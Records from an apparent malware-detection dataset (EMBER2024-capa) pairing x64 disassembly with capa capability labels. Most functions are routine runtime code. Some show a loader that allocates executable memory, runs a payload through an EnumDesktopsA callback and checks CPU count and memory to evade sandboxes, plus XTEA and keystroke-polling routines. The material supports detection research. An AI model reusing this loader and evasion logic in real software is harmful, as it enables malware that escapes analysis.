joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140011834
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x140011864
xor eax, eax
jmp 0x140011927
mov rbp, rbx
cmp word [rax], si
je 0x140011889
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140011870
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14001186c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140011784
movsxd r14, eax
test eax, eax
jne 0x1400118c7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14001185d
mov rcx, r14
call fcn.14000fd3c
mov rdi, rax
test rax, rax
jne 0x1400118e0
xor ecx, ecx
call fcn.14000fe14
jmp 0x1400118bc
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140011784
test eax, eax
jne 0x140011911
mov rcx, rdi
call fcn.14000fe14
jmp 0x14001191b
xor ecx, ecx
call fcn.14000fe14
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140014c1c
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140010888
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140014ca6
cmp byte [rbp - 0x21], r15b
je 0x140014ca1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140014cdc
call fcn.14001203c
test eax, eax
jne 0x140014cc8
cmp byte [rbp - 0x21], r15b
je 0x140014cc0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140014cdc
cmp byte [rbp - 0x21], r15b
je 0x140014cd9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000fe64
test eax, eax
jne 0x140014d7c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140010888
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140014d1b
cmp byte [rbp - 0x21], r15b
je 0x140014d50
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140014d50
call fcn.14001203c
test eax, eax
jne 0x140014d3c
cmp byte [rbp - 0x21], r15b
je 0x140014d35
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140014d50
cmp byte [rbp - 0x21], r15b
je 0x140014d4d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000fe64
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140014d7c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140014d7f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140014d8d
mov rcx, rdi
call fcn.14000fe14
cmp byte [rbp + 0x3f], r15b
je 0x140014d9c
mov rcx, qword [rbp + 0x27]
call fcn.14000fe14
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140017bf0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140017c18
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140017c18
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001001
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x1400043c0]
mov rcx, qword [0x140004370]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x1400043d0]
cmp word [rcx], 0x5a4d
mov dword [rax], 1
mov rax, qword [0x1400043e0]
mov dword [rax], 1
jne 0x140001083
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x140001083
mov ecx, dword [rax + 0x18]
cmp cx, 0x10b
je 0x14000105e
cmp cx, 0x20b
je 0x14000106d
jmp 0x140001083
cmp dword [rax + 0x74], 0xe
jbe 0x140001083
cmp dword [rax + 0xe8], 0
jmp 0x14000107d
cmp dword [rax + 0x84], 0xe
jbe 0x140001083
cmp dword [rax + 0xf8], 0
setne dl
movzx edx, dl
mov rax, qword [0x1400043b0]
mov dword [0x14000700c], edx
mov ecx, 2
cmp dword [rax], 0
jne 0x14000109f
mov ecx, 1
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x140004480]
mov edx, dword [rdx]
mov dword [rax], edx
call sym.__p__commode
mov rdx, qword [0x140004460]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x140004320]
cmp dword [rax], 1
jne 0x1400010e1
mov rcx, qword [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret

Function at 0x1400015f4
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x1400070a8]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x1400070a4]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x140001642
mov rdx, qword [rax]
cmp r12, rdx
jb 0x14000163a
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001729
inc ebx
add rax, 0x28
jmp 0x14000161a
mov rcx, r12
call sym.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
jne 0x140001661
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call sym.__report_error
movsxd rbx, ebx
mov rax, qword [0x1400070a8]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call sym._GetPEImageBase
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400070a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x1400016c3
mov rax, qword [0x1400070a8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001723
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001723
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400070a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001723
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
inc dword [0x1400070a4]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140001b50
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x140007100]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x140001b9c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140001b96
test eax, eax
jne 0x140001b96
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140001b6e
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140001d50
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140001d73
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140001d73
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140001d74
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x140001dae
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140001da5
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140001db0
inc r8d
add rax, 0x28
jmp 0x140001d8c
xor eax, eax
ret

Function at 0x140001e21
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140004370]
mov r8, rcx
mov rcx, r9
call sym._ValidateImageBase
test eax, eax
je 0x140001e4d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp sym._FindPESection
xor eax, eax
add rsp, 0x28
ret
Function at 0x140011082
Capabilities:
Encrypt data using xtea

Disassembly:
jmp 0x140011fa0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x20]
lea rcx, [0x1400240a2]
call fcn.1400113c5
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rbp + 0x180]
mov eax, dword [rcx + rax]
mov dword [rbp + 4], eax
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rbp + 0x180]
mov eax, dword [rcx + rax]
mov dword [rbp + 0x24], eax
mov dword [rbp + 0x44], 0xc6ef3720
mov dword [rbp + 0x64], 0x9e3779b9
mov dword [rbp + 0x84], 0
jmp 0x140012018
mov eax, dword [rbp + 0x84]
inc eax
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0x20
jge 0x1400120a6
mov eax, dword [rbp + 4]
shl eax, 4
mov ecx, dword [rbp + 4]
shr ecx, 5
xor eax, ecx
add eax, dword [rbp + 4]
mov ecx, dword [rbp + 0x44]
shr ecx, 0xb
and ecx, 3
mov ecx, ecx
mov rdx, qword [rbp + 0x188]
mov ecx, dword [rdx + rcx*4]
mov edx, dword [rbp + 0x44]
add edx, ecx
mov ecx, edx
xor eax, ecx
mov ecx, dword [rbp + 0x24]
sub ecx, eax
mov eax, ecx
mov dword [rbp + 0x24], eax
mov eax, dword [rbp + 0x64]
mov ecx, dword [rbp + 0x44]
sub ecx, eax
mov eax, ecx
mov dword [rbp + 0x44], eax
mov eax, dword [rbp + 0x24]
shl eax, 4
mov ecx, dword [rbp + 0x24]
shr ecx, 5
xor eax, ecx
add eax, dword [rbp + 0x24]
mov ecx, dword [rbp + 0x44]
and ecx, 3
mov ecx, ecx
mov rdx, qword [rbp + 0x188]
mov ecx, dword [rdx + rcx*4]
mov edx, dword [rbp + 0x44]
add edx, ecx
mov ecx, edx
xor eax, ecx
mov ecx, dword [rbp + 4]
sub ecx, eax
mov eax, ecx
mov dword [rbp + 4], eax
jmp 0x14001200a
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rbp + 0x180]
mov edx, dword [rbp + 4]
mov dword [rcx + rax], edx
mov eax, 4
imul rax, rax, 1
mov rcx, qword [rbp + 0x180]
mov edx, dword [rbp + 0x24]
mov dword [rcx + rax], edx
lea rsp, [rbp + 0x168]
pop rdi
pop rbp
ret

Function at 0x1400110e1
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function

Disassembly:
jmp 0x140011f00
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x1400240a2]
call fcn.1400113c5
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 8], rax
movsxd rax, dword [rbp + 0x108]
mov r8, rax
mov rdx, qword [rbp + 0x100]
mov rcx, qword [rbp + 8]
call fcn.140011401
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
xor r8d, r8d
mov rdx, qword [rbp + 8]
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumDesktopsA]
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x140011172
Capabilities:
Get system information on windows

Disassembly:
jmp 0x140011ac0
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x1e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x128], rax
lea rcx, [0x1400240a2]
call fcn.1400113c5
lea rcx, [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [rbp + 0x28]
mov dword [rbp + 0x54], eax
cmp dword [rbp + 0x54], 2
jae 0x140011b15
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001adc0]
call fcn.140011348
mov rax, rdi
mov rcx, qword [rbp + 0x128]
xor rcx, rbp
call fcn.1400111d6
lea rsp, [rbp + 0x138]
pop rdi
pop rbp
ret

Function at 0x140011221
Capabilities:
Terminate process

Disassembly:
jmp 0x140013860
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400112a8
Capabilities:
Allocate or change rwx memory

Disassembly:
jmp 0x140012200
push rbp
push rdi
sub rsp, 0x158
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x118], rax
lea rcx, [0x1400240a2]
call fcn.1400113c5
mov qword [rbp + 8], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x2710
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0
je 0x1400122ba
call fcn.140011172
test eax, eax
je 0x1400122ba
call fcn.14001137a
test eax, eax
je 0x1400122ba
call fcn.140011019
test eax, eax
je 0x1400122ba
call fcn.140011415
test eax, eax
je 0x1400122ba
lea rcx, [rbp + 0x24]
call fcn.140011078
mov qword [rbp + 0x48], rax
mov edx, dword [rbp + 0x24]
mov rcx, qword [rbp + 0x48]
call fcn.1400110e1
lea rcx, str.____Los_requisitos_minimos_no_se_han_cumplido__saliendo_
call fcn.1400111bd
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14001b000]
call fcn.140011348
mov eax, edi
mov rcx, qword [rbp + 0x118]
xor rcx, rbp
call fcn.1400111d6
lea rsp, [rbp + 0x128]
pop rdi
pop rbp
ret
Function at 0x1400112b2
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014bb0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014bd0
xor al, al
jmp 0x140014c51
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014be3
xor al, al
jmp 0x140014c51
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014c0d
xor al, al
jmp 0x140014c51
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014c21
xor al, al
jmp 0x140014c51
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014c33
xor al, al
jmp 0x140014c51
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014c4f
xor al, al
jmp 0x140014c51
mov al, 1
add rsp, 0x38
ret
Function at 0x14001137a
Capabilities:
Get memory capacity

Disassembly:
jmp 0x140011cf0
push rbp
push rdi
sub rsp, 0x168
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x1400240a2]
call fcn.1400113c5
mov dword [rbp + 0x10], 0x40
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
xor edx, edx
mov rax, qword [rbp + 0x18]
mov ecx, 0x400
div rcx
xor edx, edx
mov ecx, 0x400
div rcx
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0x800
jae 0x140011d64
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001ad40]
call fcn.140011348
mov rax, rdi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.1400111d6
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x14000acd0
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push r12
push r14
push r15
sub rsp, 0x78
mov r14, qword [rcx + 0x20]
xor r15b, r15b
movsxd rax, dword [rcx + 0x30]
mov rbp, rcx
lea r12, [r14 + rax*8]
cmp r14, r12
je 0x14000ae64
mov qword [rsp + 0x68], rsi
mov ebp, 1
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x60], rdi
nop
mov rsi, qword [r14]
test byte [rsi + 0x28], 0x70
je 0x14000ae3b
call fcn.140026470
mov ecx, ebp
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx ebx, ax
mov ecx, 2
shr ebx, 0xf
and ebx, ebp
shl ebx, 4
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov edi, ebx
or edi, 0x20
mov ecx, 4
and al, bpl
cmove edi, ebx
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [0x1404be594]
mov edx, edi
and ecx, 0xffffff8f
shr eax, 0xf
or edx, 0x40
mov dword [rsp + 0xa8], ecx
and al, bpl
cmove edx, edi
or edx, ecx
mov dword [rsp + 0xb0], edx
mov dword [0x1404be594], edx
test dl, 0x70
je 0x14000ae3b
cmp dword [rsi + 0x14], ebp
je 0x14000adc4
lea rcx, [rsp + 0x20]
call qword [sym.imp.USER32.dll_GetCursorPos]
movd xmm0, dword [rsp + 0x20]
lea rax, [rsp + 0x28]
movd xmm1, dword [rsp + 0x24]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rsp + 0x28], xmm0
movss dword [rsp + 0x2c], xmm1
jmp 0x14000addf
movss xmm0, dword [rsi + 0x18]
lea rax, [rsp + 0x30]
movss xmm1, dword [rsi + 0x1c]
movss dword [rsp + 0x30], xmm0
movss dword [rsp + 0x34], xmm1
movss xmm1, dword [rax]
movss xmm0, dword [rax + 4]
xor eax, eax
movss dword [rsp + 0x38], xmm1
addss xmm1, dword [rsi + 0x20]
movss dword [rsp + 0x3c], xmm0
addss xmm0, dword [rsi + 0x24]
movss dword [rsi + 0x18], xmm1
movss dword [rsp + 0x48], xmm1
movss dword [rsi + 0x1c], xmm0
mov rcx, qword [rsi + 8]
movss dword [rsp + 0x4c], xmm0
lock cmpxchg dword [rcx + 0x18], ebp
jne 0x14000ae37
mov rcx, qword [rsi + 8]
call fcn.1401e6b30
test al, al
jne 0x14000ae37
mov rcx, qword [rsi + 8]
xor eax, eax
xchg dword [rcx + 0x18], eax
movzx r15d, bpl
add r14, 8
cmp r14, r12
jne 0x14000ad10
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0xa0]
test r15b, r15b
jne 0x14000aed2
lea rcx, [0x1404be7b0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [rbp + 0xc], 0
jle 0x14000aec5
mov rcx, qword [0x1404be470]
test rcx, rcx
je 0x14000aebe
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x18]
test rdx, rdx
je 0x14000ae96
mov qword [rdx + 0x18], rax
jmp 0x14000ae9d
mov qword [rcx + 0xd8], rax
mov rdx, qword [rbp + 0x18]
test rdx, rdx
je 0x14000aeae
mov rax, qword [rbp + 0x10]
mov qword [rdx + 0x10], rax
mov qword [rbp + 0x18], 0
mov qword [rbp + 0x10], 0
mov dword [rbp + 0xc], 0
lea rcx, [0x1404be7b0]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
add rsp, 0x78
pop r15
pop r14
pop r12
pop rbp
ret
Function at 0x14000c4c0
Capabilities:
Log keystrokes via polling

Disassembly:
mov rax, rsp
push rbp
push rdi
push r14
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov qword [rbp + 0x17], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov r14, rdx
mov rsi, rcx
mov eax, dword [r8]
mov dword [rbp + 7], eax
mov eax, dword [r8 + 4]
mov dword [rbp + 0xb], eax
mov rax, qword [0x1404be388]
test rax, rax
jne 0x14000c51f
mov ecx, 0x168
call fcn.1400bd614
mov qword [rbp + 0x77], rax
mov rcx, rax
call fcn.140158130
nop
mov qword [0x1404be388], rax
lea rdx, [rbp + 7]
mov rcx, rax
call fcn.140157de0
test rax, rax
jne 0x14000c6a5
mov byte [rsi + 0x130], 1
call fcn.140026470
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx ebx, ax
shr ebx, 0xf
and ebx, 1
shl ebx, 4
mov ecx, 2
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov edi, ebx
or edi, 0x20
and al, 1
cmove edi, ebx
mov ecx, 4
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, dword [0x1404be594]
and ecx, 0xffffff8f
mov dword [rbp + 0x7f], ecx
mov edx, edi
or edx, 0x40
and al, 1
cmove edx, edi
or edx, ecx
mov dword [rbp - 1], edx
mov dword [0x1404be594], edx
test dl, 0x70
je 0x14000c6a5
xor eax, eax
mov qword [rbp - 0x19], rax
mov dword [rbp - 0x11], eax
mov dword [rbp - 9], eax
mov byte [rbp + 0x77], al
mov rcx, qword [rsi + 0x110]
mov rax, qword [rcx]
lea r9, [rbp + 0x77]
lea r8, [rbp - 0x19]
mov rdx, r14
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
test al, al
je 0x14000c60c
cmp dword [rbp - 9], 0
sete al
test al, al
jne 0x14000c60c
lea rdx, [rbp - 0x19]
lea rcx, [rbp + 0x1f]
call fcn.1400418c0
movzx eax, byte [rbp + 0x77]
mov byte [rbp + 0x37], al
lea rcx, [rbp + 0x1f]
call fcn.140033020
mov rax, qword [rsi]
mov edx, 1
mov rcx, rsi
call qword [rax]
jmp 0x14000c693
lea rax, [0x1402901d8]
mov qword [rbp - 0x29], rax
mov rcx, qword [rsi + 0x110]
mov rax, qword [rcx]
lea r8, [rbp - 0x29]
mov rdx, r14
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetElement]
mov rcx, qword [rbp - 0x29]
test al, al
je 0x14000c672
cmp byte [rcx], 0
je 0x14000c672
mov qword [rbp - 0x21], rcx
add rcx, 0xfffffffffffffff0
lea rbx, [0x1402901c8]
cmp rcx, rbx
je 0x14000c655
mov eax, 1
lock xadd dword [rcx], eax
lea rcx, [rbp - 0x21]
call fcn.1400330d0
mov rax, qword [rsi]
mov edx, 1
mov rcx, rsi
call qword [rax]
nop
mov rcx, qword [rbp - 0x29]
jmp 0x14000c679
lea rbx, [0x1402901c8]
add rcx, 0xfffffffffffffff0
cmp rcx, rbx
je 0x14000c693
or eax, 0xffffffff
lock xadd dword [rcx], eax
test eax, eax
jne 0x14000c693
call fcn.1400bd658
nop
lea rcx, [rbp - 0x19]
call fcn.140031aa0
mov rcx, qword [rbp - 0x19]
call fcn.1400c1bd0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x14000e790
Capabilities:
Check if file exists

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov eax, dword [rdx + 0x10]
lea r8, [rsp + 0x30]
mov rdi, rdx
mov dword [rsp + 0x30], eax
mov edx, dword [rcx + 0x118]
mov rbx, rcx
mov rcx, qword [rcx + 0xe8]
mov r9b, 1
call fcn.140103ab0
mov rcx, qword [rbx + 0xe8]
lea rdx, [rbx + 0xf8]
add rcx, 0x128
mov r8, rdi
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
jmp 0x140143210
push rsi
push rdi
push r14
sub rsp, 0x40
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x68], rbx
mov qword [rsp + 0x70], rbp
mov rbp, r8
mov r14, rdx
mov rsi, rcx
mov rdx, qword [rcx + 8]
add rdx, 0x48
mov rax, qword [rdx]
cmp byte [rax], 0
je 0x140143301
lea rcx, [rsp + 0x78]
call fcn.140040d80
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
nop
cmp eax, 0xffffffff
je 0x140143301
mov dword [rsp + 0x20], 0
lea r9, vtable.type_info.0
lea r8, vtable.type_info.0
xor edx, edx
mov rcx, rsi
call fcn.140260a94
mov rcx, rax
call fcn.140006d60
mov rdi, rax
mov qword [rsp + 0x60], rax
test rax, rax
je 0x1401432a5
mov ecx, 1
lock xadd dword [rax + 8], ecx
mov ebx, dword [rsi + 0x20]
test rdi, rdi
je 0x1401432e2
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x1401432e2
test ebx, ebx
jle 0x1401432e2
mov eax, dword [rsi + 0x20]
dec ebx
cmp ebx, eax
jl 0x1401432ca
lea ebx, [rax - 1]
test ebx, ebx
js 0x1401432e2
movsxd rax, ebx
mov rcx, qword [rsi + 0x10]
mov r8, rbp
mov rdx, r14
mov rcx, qword [rcx + rax*8]
call fcn.140035df0
jmp 0x1401432a8
test rdi, rdi
je 0x140143301
or eax, 0xffffffff
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140143301
mov rax, qword [rdi]
mov edx, 1
mov rcx, rdi
call qword [rax]
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
add rsp, 0x40
pop r14
pop rdi
pop rsi
ret

Function at 0x14000e7f0
Capabilities:
Check if file exists

Disassembly:
lea rdx, [rcx + 0xf8]
mov rcx, qword [rcx + 0xe8]
add rcx, 0x128
jmp fcn.140143110